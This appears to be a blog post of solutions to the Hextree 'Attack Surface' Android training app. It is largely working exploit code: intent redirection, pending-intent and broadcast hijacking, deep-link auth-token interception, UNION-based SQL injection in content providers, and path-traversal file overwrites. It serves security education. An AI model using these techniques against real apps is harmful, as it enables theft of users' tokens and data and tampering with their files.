Introduction
Peace be upon all of you. In this post I am going to share all the solutions for the Attack Surface Android app, which is part of the amazing Hextree Android Application Security course and also sponsored by Google. This app is packed with hands-on challenges to practice many real-world Android vulnerabilities.
Course Link: https://app.hextree.io/map/android
Intents
Flag1
Basic exported activity
1
adb shell am start-activity -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity
Flag2
Intent with extras
1
2
3
4
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag3Activity");
exploitIntent.setAction("io.hextree.action.GIVE_FLAG");
startActivity(exploitIntent);
Flag3
Intent with a data URI
1
2
3
4
5
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag3Activity");
exploitIntent.setAction("io.hextree.action.GIVE_FLAG");
exploitIntent.setData(Uri.parse("https://app.hextree.io/map/android"));
startActivity(exploitIntent);
Flag4
State Machine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Intent exploitIntent3 = new Intent();
exploitIntent3.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent3.setAction("GET_FLAG_ACTION");
startActivity(exploitIntent3);
Intent exploitIntent2 = new Intent();
exploitIntent2.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent2.setAction("BUILD_ACTION");
startActivity(exploitIntent2);
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent.setAction("PREPARE_ACTION");
startActivity(exploitIntent);
Flag5
Intent in intent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// nextIntent -- Intent3
Intent exploitIntent3 = new Intent();
exploitIntent3.putExtra("reason", "back");
// Intent2
Intent exploitIntent2 = new Intent();
exploitIntent2.putExtra("return", 42);
exploitIntent2.putExtra("nextIntent", exploitIntent3);
// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
exploitIntent1.putExtra("android.intent.extra.INTENT", exploitIntent2);
startActivity(exploitIntent1);
Flag6
Not Exported
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// nextIntent -- Intent3
Intent exploitIntent3 = new Intent();
exploitIntent3.putExtra("reason", "next");
exploitIntent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
exploitIntent3.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag6Activity");
// Intent2
Intent exploitIntent2 = new Intent();
exploitIntent2.putExtra("return", 42);
exploitIntent2.putExtra("nextIntent", exploitIntent3);
// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
exploitIntent1.putExtra("android.intent.extra.INTENT", exploitIntent2);
startActivity(exploitIntent1);
Flag7
Activity Lifecycle tricks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Intent OpenIntent = new Intent();
OpenIntent.setAction("OPEN");
OpenIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag7Activity");
startActivity(OpenIntent);
Handler handler = new Handler();
handler.postDelayed(() -> {
// Send the "REOPEN" action to trigger onNewIntent
Intent exploitIntent1 = new Intent();
exploitIntent1.setAction("REOPEN");
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag7Activity");
exploitIntent1.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
startActivity(exploitIntent1);
}, 2000);
Flag8
Do you expect a result?
1
2
3
4
// Make sure your package Name contains "Hextree"
exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity");
startActivityForResult(exploitIntent1, 0);
Flag9
Receive result with flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Make sure your package Name contains "Hextree"
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag9Activity");
startActivityForResult(exploitIntent1, 0);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
String result = data.getStringExtra("flag");
Log.d("Flag9", result);
}
Flag10
Hijack implicit intent with the flag
1
2
3
4
5
6
7
8
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
<action android:name="io.hextree.attacksurface.ATTACK_ME"/>
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
7
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
String flag = intent.getStringExtra("flag");
Log.d("Flag10", flag);
}else{
Log.d("Flag10", "Not Received");
}
Flag11
Respond to implicit intent
1
2
3
4
5
6
7
8
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
<action android:name="io.hextree.attacksurface.ATTACK_ME"/>
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
setResult(42, intent.putExtra("token", 1094795585));
}else{
Log.d("Flag11", "Not Received");
}
Flag12
Careful intent conditions
1
2
3
4
5
6
7
8
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
<action android:name="io.hextree.attacksurface.ATTACK_ME"/>
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Main Activity
1
2
3
4
Intent intent2 = new Intent();
intent2.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag12Activity");
intent2.putExtra("LOGIN", true);
startActivity(intent2);
SecondActvity
1
2
3
4
5
6
7
8
9
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
intent.putExtra("token", 1094795585);
setResult(42, intent);
finish();
Log.d("Flag12", "Accessed");
}else{
Log.d("Flag12", "Not Received");
}
Flag22
Receive Pending Intent
Main Activity
1
2
3
4
5
6
7
8
Intent targetIntent = new Intent();
targetIntent.setClass(this, SecondActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,targetIntent, PendingIntent.FLAG_UPDATE_CURRENT);
Intent sendIntent = new Intent();
sendIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity");
sendIntent.putExtra("PENDING", pendingIntent);
startActivity(sendIntent);
Second Activity
1
2
3
4
5
6
7
Intent receivedIntent = getIntent();
if (receivedIntent != null) {
String flag = receivedIntent.getStringExtra("flag");
Log.d("Flag22", flag);
}else{
Log.d("Flag22", "???");
}
Flag23
Hijack Pending Intent
1
2
3
4
5
6
7
8
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
<action android:name="io.hextree.attacksurface.MUTATE_ME"/>
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
Intent receivedIntent = getIntent();
PendingIntent pendingIntent = receivedIntent.getParcelableExtra("pending_intent");
Intent newIntent = new Intent();
newIntent.setAction("io.hextree.attacksurface.GIVE_FLAG");
newIntent.putExtra("code", 42);
try {
pendingIntent.send(this, 0, newIntent);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
DeepLinks
Flag13
create a hex://open/ link
Via the link builder:
https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=
hex://flag?action=give-me
Flag14
Hijack web login
1
2
3
4
5
6
7
8
9
10
11
12
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="hex"
android:host="token"/>
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
12
13
Intent receivedIntent = getIntent();
if(receivedIntent.getAction() == "android.intent.action.VIEW"){
Uri data = receivedIntent.getData();
Log.d("queryParameters", String.valueOf(data));
String authToken = data.getQueryParameter("authToken");
String authChallenge = data.getQueryParameter("authChallenge");
Intent sendIntent = new Intent();
sendIntent.setAction("android.intent.action.VIEW");
sendIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag14Activity");
sendIntent.setData(Uri.parse("hex://token?authToken="+authToken+"&type=admin&authChallenge="+authChallenge));
startActivity(sendIntent);
}
Flag15
Create a intent://flag15 / link
Via the link builder:
https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=
1
intent:#Intent;package=io.hextree.attacksurface;action=io.hextree.action.GIVE_FLAG;S.action=flag;S.open=flag;B.flag=true;end;
Broadcast Receivers
Flag16
Basic Exposed Receiver
1
2
3
4
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag16Receiver");
intent.putExtra("flag","give-flag-16");
sendBroadcast(intent);
Flag17
Receiver with Response
1
2
3
4
Intent intent = new Intent();
intent.putExtra("flag","give-flag-17");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag17Receiver");
sendOrderedBroadcast(intent, null);
Flag18
Hijack Broadcast Intent
1
2
3
4
5
6
7
8
9
10
BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
// Once a broadcast received with a specific intent
public void onReceive(Context context, Intent intent) {
setResultCode(1);
setResultData("Heey");
}
};
// Waiting for any broadcast with this intent "io.hextree.broadcast.FREE_FLAG"
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"));
Widgets
Flag19
Widget System intents
1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setAction("APPWIDGET_UPDATE");
Bundle bundle = new Bundle();
bundle.putInt("appWidgetMaxHeight", 1094795585);
bundle.putInt("appWidgetMinHeight", 322376503);
intent.putExtra("appWidgetOptions", bundle);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);
Notifications
Flag20
Notification Button Intents
1
2
3
4
Intent intent = new Intent();
intent.setAction("io.hextree.broadcast.GET_FLAG");
intent.putExtra("give-flag", true);
sendBroadcast(intent);
Flag21
Hijack Notification Button
1
2
3
4
5
6
7
8
9
BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
Log.d("flag21", flag);
}
};
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.GIVE_FLAG"));
}
Services
Flag24
Basic Service Start
1
2
3
4
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag24Service");
intent.setAction("io.hextree.services.START_FLAG24_SERVICE");
startService(intent);
Flag25
Service Lifecycle
1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag25Service");
// Change a lock number each time
intent.setAction("io.hextree.services.UNLOCK1");
startService(intent);
Message Handler
Flag26
Basic Message Handler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class MainActivity extends AppCompatActivity {
private boolean isBound = false;
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Messenger serviceMessenger = new Messenger(service);
isBound = true;
// Method to send messages to the service
Message msg = Message.obtain(null, 42);
try{
serviceMessenger.send(msg);
}
catch (RemoteException e){
throw new RuntimeException(e);
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Bind to the service
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}
Flag27
Message Replies
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class MainActivity extends AppCompatActivity {
private boolean isBound = false;
private final Messenger clientMessegener = new Messenger(new IncomingHandler());
private Messenger serviceMessenger = null;
private String obtainedPassword;
private class IncomingHandler extends Handler{
IncomingHandler() {super(Looper.getMainLooper());}
@Override
public void handleMessage(Message msg){
Bundle reply = msg.getData();
obtainedPassword = reply.getString("password");
if(reply != null && obtainedPassword != null) {
Log.i("MessageReply1234", reply.toString());
Log.d("MessageReply1234", "Obtained password: " + obtainedPassword);
**getFlag(obtainedPassword);**
}
else{
Log.i("Message1234", "NO Reply");
}
}
}
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder binder) {
serviceMessenger = new Messenger(binder);
isBound = true;
**// Start by getting the secret
requestPassword();**
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
};
// Method to request the password
private void requestPassword() {
if (!isBound) return;
Message msg = Message.obtain(null, 2);
msg.obj = new Bundle();
msg.replyTo = clientMessegener;
try {
serviceMessenger.send(msg);
} catch (RemoteException e) {
e.printStackTrace();
}
}
// Method to request the flag
private void getFlag(String Password) {
**// First, send "give flag" echo**
Message msg = Message.obtain(null, 1);
Bundle bundle = new Bundle();
bundle.putString("echo", "give flag");
msg.setData(bundle);
msg.replyTo = clientMessegener;
try {
serviceMessenger.send(msg);
} catch (RemoteException e) {
e.printStackTrace();
}
**// Now, send the retrevied password with int = 3 to get flag**
msg = Message.obtain(null, 3);
bundle = new Bundle();
bundle.putString("password", Password);
msg.setData(bundle);
msg.replyTo = clientMessegener;
try {
serviceMessenger.send(msg);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Bind to the service
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}
AIDL Service
Flag28
Basic AIDL Service
Aidl Interface Code
1
2
3
4
5
6
7
// IFlag28Interface.aidl
package io.hextree.attacksurface.services;
// Declare any non-default types here with import statements
interface IFlag28Interface {
boolean openFlag();
}
MainActivity Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class MainActivity extends AppCompatActivity {
private boolean isBound = false;
private Messenger serviceMessenger = null;
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder binder) {
serviceMessenger = new Messenger(binder);
isBound = true;
IFlag28Interface aidlService = IFlag28Interface.Stub.asInterface(binder);
try {
aidlService.openFlag();
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Bind to the service
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag28Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}
Flag29
AIDL Service
Aidl Interface Code
1
2
3
4
5
6
7
8
9
// IFlag28Interface.aidl
package io.hextree.attacksurface.services;
// Declare any non-default types here with import statements
interface IFlag29Interface {
String init();
void authenticate(String str);
void success();
}
MainActivity Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class MainActivity extends AppCompatActivity {
private boolean isBound = false;
private Messenger serviceMessenger = null;
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder binder) {
serviceMessenger = new Messenger(binder);
isBound = true;
IFlag29Interface aidlService = IFlag29Interface.Stub.asInterface(binder);
try {
String password = aidlService.init();
aidlService.authenticate(password);
aidlService.success();
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Bind to the service
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag29Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}
Content Provider
Flag30
Content Provider Query
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag30/success");
Cursor cursor = resolver.query(uri, null, null, null, null);
if (cursor != null) {
// Retrieves all column names
String[] columnNames = cursor.getColumnNames();
while (cursor.moveToNext()) {
for (String columnName : columnNames) {
String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
Log.i("ColumnData", columnName + ": " + value);
}
}
cursor.close();
}
Flag31
Provider URI Matching
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag31/flag/31");
Cursor cursor = resolver.query(uri, null, null, null, null);
if (cursor != null) {
// Retrieves all column names
String[] columnNames = cursor.getColumnNames();
while (cursor.moveToNext()) {
for (String columnName : columnNames) {
String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
Log.i("Flag31", columnName + ": " + value);
}
}
cursor.close();
}
Flag32
Injection in Content Provider
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag32/flags");
// Full Query looks like:
// SELECT * FROM Flag WHERE visible=1 AND (1) UNION SELECT * FROM Flag WHERE visible=0 AND (1);
Cursor cursor = resolver.query(uri, null, **"1) UNION SELECT * FROM Flag WHERE visible=0 AND (1"**, null, null);
if (cursor != null) {
// Retrieves all column names
String[] columnNames = cursor.getColumnNames();
while (cursor.moveToNext()) {
for (String columnName : columnNames) {
String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
Log.i("QueryFlag32", columnName + ": " + value);
}
}
cursor.close();
}
Flag33.1
Return Provider Access
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("io.hextree.FLAG33");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag33Activity1");
startActivityForResult(intent, 1);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
ContentResolver resolver = getContentResolver();
// injecting the selection field which is WHERE clause: SELECT * FROM Flag WHERE _id=2 UNION SELECT 1,title,content,'a' FROM Note
Cursor cursor = resolver.query(data.getData(), null, **"_id=2 UNION SELECT 1,title,content,'a' FROM Note"**, null, null);
if (cursor != null) {
String[] columnNames = cursor.getColumnNames();
while (cursor.moveToNext()) {
for (String columnName : columnNames) {
String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
Log.i("QueryFlag33.1", columnName + ": " + value);
}
}
cursor.close();
}
}
Flag33.2
Implict Provider Access
Creating an exported activity to hijack the intent permissions to access the provider.
1
2
3
4
5
6
7
8
9
10
11
12
<activity
android:name=".SecondActivity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.FLAG33" />
<category android:name="android.intent.category.DEFAULT" />
<data
android:scheme="content"
android:host="io.hextree.flag33_2"
android:path="/flags"/>
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Intent intent = getIntent();
if (intent.getAction() != null){
Log.i("QueryFlag33.2", intent.getAction());
ContentResolver resolver = getContentResolver();
Cursor cursor = resolver.query(intent.getData(), null, "_id=2 UNION SELECT 1,title,content,'a' FROM Note", null, null);
if (cursor != null) {
String[] columnNames = cursor.getColumnNames();
while (cursor.moveToNext()) {
for (String columnName : columnNames) {
String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
Log.i("QueryFlag33.2", columnName + ": " + value);
}
}
cursor.close();
}
}
File Provider
Flag34
Simple File Provider
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.putExtra("filename", "flags/flag34.txt");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity");
startActivityForResult(intent, 42);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.i("QueryFlag34", String.valueOf(data.getData()));
try {
InputStream inputStream = getContentResolver().openInputStream(data.getData());
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
Log.i("QueryFlagFile34", line);
}
}
catch (IOException e){
}
}
Flag35
Root-File Provider
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
**setResult(0, intent);**
return;
}
// Returns the absolute path to the directory on the filesystem where files created
Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), "secret.txt"));
Intent intent2 = new Intent();
intent2.setData(uriForFile2);
intent2.addFlags(3);
**setResult(-1, intent2);**
}
Flag36
Overwriting Shared Prefs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
**intent.putExtra("filename", "../shared_prefs/Flag36Preferences.xml");**
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag35Activity");
startActivityForResult(intent, 42);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.i("QueryFlag36", String.valueOf(data.getData()));
try {
// Read the existing XML file
InputStream inputStream = getContentResolver().openInputStream(data.getData());
StringBuilder stringBuilder = new StringBuilder();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
**while ((line = reader.readLine()) != null) {
// Replace false with true
line = line.replaceAll("false", "true");
stringBuilder.append(line).append("\n");
}
reader.close();
// Write the modified content back to the file
OutputStream outputStream = getContentResolver().openOutputStream(data.getData());
outputStream.write(stringBuilder.toString().getBytes());
outputStream.close();**
// restart the app to take effect
Intent openFlag36Activity = new Intent();
openFlag36Activity.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag36Activity");
startActivity(openFlag36Activity);
}
catch (IOException e){
}
}}
Flag37
File Provider Receivers
MainActiivty
1
2
3
4
5
Intent intent = new Intent();
Uri FileProvider = Uri.parse("content://ItsFadinG.github.io");
intent.setData(FileProvider);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag37Activity");
startActivity(intent);
Provider XML
1
2
3
4
5
6
<provider
android:name=".AttackProvider"
android:authorities="ItsFadinG.github.io"
android:enabled="true"
android:exported="true">
</provider>
Attack Provider Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class AttackProvider extends ContentProvider {
public AttackProvider() {
}
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Log.i("AttackProvider", "query("+uri.toString()+")");
MatrixCursor cursor = new MatrixCursor(new String[]{
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
});
cursor.addRow(new Object[]{
"../flag37.txt", 1337
});
return cursor;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {
Log.i("AttackProvider", "openFile(" + uri.toString() + ")");
try {
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);
new Thread(() -> {
try {
outputStream.write("give flag".getBytes());
outputStream.close();
} catch (IOException e) {
Log.e("AttackProvider", "Error in pipeToParcelFileDescriptor", e);
}
}).start();
return pipe[0];
} catch (IOException e) {
throw new FileNotFoundException("Could not open pipe for: " + uri.toString());
}
}
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
Log.i("AttackProvider", "delete("+uri.toString()+")");
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public String getType(Uri uri) {
Log.i("AttackProvider", "getType("+uri.toString()+")");
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public Uri insert(Uri uri, ContentValues values) {
Log.i("AttackProvider", "insert("+uri.toString()+")");
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public boolean onCreate() {
Log.i("AttackProvider", "onCreate()");
return true;
}
@Override
public int update(Uri uri, ContentValues values, String selection,
String[] selectionArgs) {
Log.i("AttackProvider", "update("+uri.toString()+")");
throw new UnsupportedOperationException("Not yet implemented");
}
}
Conclusion
I will be happy to hear your thoughts and feedback. Also, let me know if you need a detailed explanation for any of these challenges. PEACE!